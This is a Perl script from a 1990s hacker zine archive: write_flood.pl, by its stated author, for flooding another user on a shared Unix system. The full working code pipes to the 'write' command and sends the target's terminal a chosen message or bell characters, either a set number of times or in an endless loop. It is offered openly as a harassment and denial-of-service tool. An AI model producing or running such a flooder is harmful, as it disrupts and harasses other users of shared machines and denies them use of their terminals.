home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / write_flood.pl < prev    next >
Perl Script  |  1999-01-01  |  2KB  |  62 lines

  1. #!/usr/bin/perl -w
  2. # write_flood.pl by Adam Rogoyski (apoc@laker.net) Temperanc on EFnet irc
  3. # Copyright (C) 1997 Adam Rogoyski
  4. # Simple way to flood someone who as mesg y set.
  5. # --- GNU General Public License Disclamer ---
  6. # This program is free software; you can redistribute it and/or modify
  7. # it under the terms of the GNU General Public License as published by
  8. # the Free Software Foundation; either version 2 of the License, or
  9. # (at your option) any later version.
  10. # This program is distributed in the hope that it will be useful,
  11. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  12. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  13. # GNU General Public License for more details.
  14.  
  15.  
  16. $user = shift;
  17. if (!$user || $user eq "--help" || $user eq "-?" || $user eq "?")
  18. {
  19.    print ("usage: ", __FILE__," [user] [# of floods] [flood message]\n");
  20.    print ("[user]          : any user on the system\n");
  21.    print ("[# of floods]   : number of times to flood user\n");
  22.    print ("[flood message] : message to send on each line\n");
  23.    exit(1);
  24. }
  25. $flood_count = shift;
  26. $flood_msg = shift;
  27. while (@ARGV)
  28. {
  29.    $temp = shift;
  30.    $flood_msg = sprintf ("$flood_msg $temp");
  31. }
  32. if ($flood_msg) 
  33. {
  34.    $flood_msg = $flood_msg . "\n";
  35. }
  36. open (FLOOD_PIPE, "|write $user");
  37. if ($flood_count == 0)
  38. {
  39.    if (!$flood_msg)
  40.    {
  41.       $flood_msg = chr(7);
  42.       print (FLOOD_PIPE "Woops...");
  43.    }
  44.    while (1) 
  45.    {
  46.       print (FLOOD_PIPE "$flood_msg");
  47.    }
  48. }
  49. else
  50. {
  51.    if (!$flood_msg)
  52.    {
  53.       $flood_msg = chr(7);
  54.       print (FLOOD_PIPE "Woops...");
  55.    }
  56.    for ($i = 0; $i < $flood_count; $i++)
  57.    {
  58.       print (FLOOD_PIPE "$flood_msg");
  59.    }
  60. }
  61. close FLOOD_PIPE; 
  62.